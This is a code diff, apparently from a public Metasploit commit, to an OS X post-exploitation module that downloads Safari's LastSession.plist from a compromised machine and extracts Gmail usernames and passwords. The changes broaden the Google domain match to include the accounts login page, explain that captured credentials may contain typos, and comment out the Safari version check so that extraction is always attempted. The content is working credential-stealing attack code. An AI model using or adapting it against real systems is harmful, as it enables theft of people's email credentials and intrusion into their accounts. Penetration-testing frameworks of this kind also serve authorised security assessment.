@@ -14,11 +14,15 @@ def initialize(info={})
14
14
super ( update_info ( info ,
15
15
'Name' => 'OSX Gather Safari LastSession.plist' ,
16
16
'Description' => %q{
17
- This module downloads the LastSession.plist file from the target machine.
18
- LastSession.plist is used by Safari to track active websites in the current
19
- session, and sometimes contains sensitive information such as usernames and
20
- passwords. This module will first download the original LastSession.plist,
21
- and then attempt to find the credential for Gmail.
17
+ This module downloads the LastSession.plist file from the target machine.
18
+ LastSession.plist is used by Safari to track active websites in the current session,
19
+ and sometimes contains sensitive information such as usernames and passwords.
20
+
21
+ This module will first download the original LastSession.plist, and then attempt
22
+ to find the credential for Gmail. The Gmail's last session state may contain the
23
+ user's credential if his/her first login attempt failed (likely due to a typo),
24
+ and then the page got refreshed or another login attempt was made. This also means
25
+ the stolen credential might contains typos.
22
26
} ,
23
27
'License' => MSF_LICENSE ,
24
28
'Author' => [ 'sinn3r' ] ,
@@ -111,16 +115,16 @@ def get_sessions(lastsession)
111
115
#
112
116
# Returns the <dict> session element
113
117
# @param xml [REXML::Element] The array element for the session data
114
- # @param domain [String ] The domain to search for
118
+ # @param domain [Regexp ] The domain to search for
115
119
# @return [REXML::Element] The <dict> element for the session data
116
120
#
117
- def get_session_element ( xml , domain )
121
+ def get_session_element ( xml , domain_regx )
118
122
dict = nil
119
123
120
124
found = false
121
125
xml . each_element do |e |
122
126
e . elements [ 'array/dict' ] . each_element do |e2 |
123
- if e2 . text =~ / #{ domain } /
127
+ if e2 . text =~ domain_regx
124
128
dict = e
125
129
found = true
126
130
break
@@ -141,7 +145,7 @@ def get_session_element(xml, domain)
141
145
#
142
146
def find_gmail_cred ( xml )
143
147
vprint_status ( "#{ peer } - Looking for username/password for Gmail." )
144
- gmail_dict = get_session_element ( xml , ' mail.google.com' )
148
+ gmail_dict = get_session_element ( xml , /( mail|accounts) \ . google\ . com/ )
145
149
return '' if gmail_dict . nil?
146
150
147
151
raw_data = gmail_dict . elements [ 'array/dict/data' ] . text
@@ -179,6 +183,7 @@ def run
179
183
#
180
184
# If this is an unpatched version, we try to extract creds
181
185
#
186
+ =begin
182
187
version = get_safari_version
183
188
if version.blank?
184
189
print_warning("Unable to determine Safari version, will try to extract creds anyway")
@@ -188,6 +193,7 @@ def run
188
193
else
189
194
vprint_status("#{peer} - Safari version: #{version}")
190
195
end
196
+ =end
191
197
192
198
#
193
199
# Attempts to convert the XML file to an actual XML object, with the <array> element
0 commit comments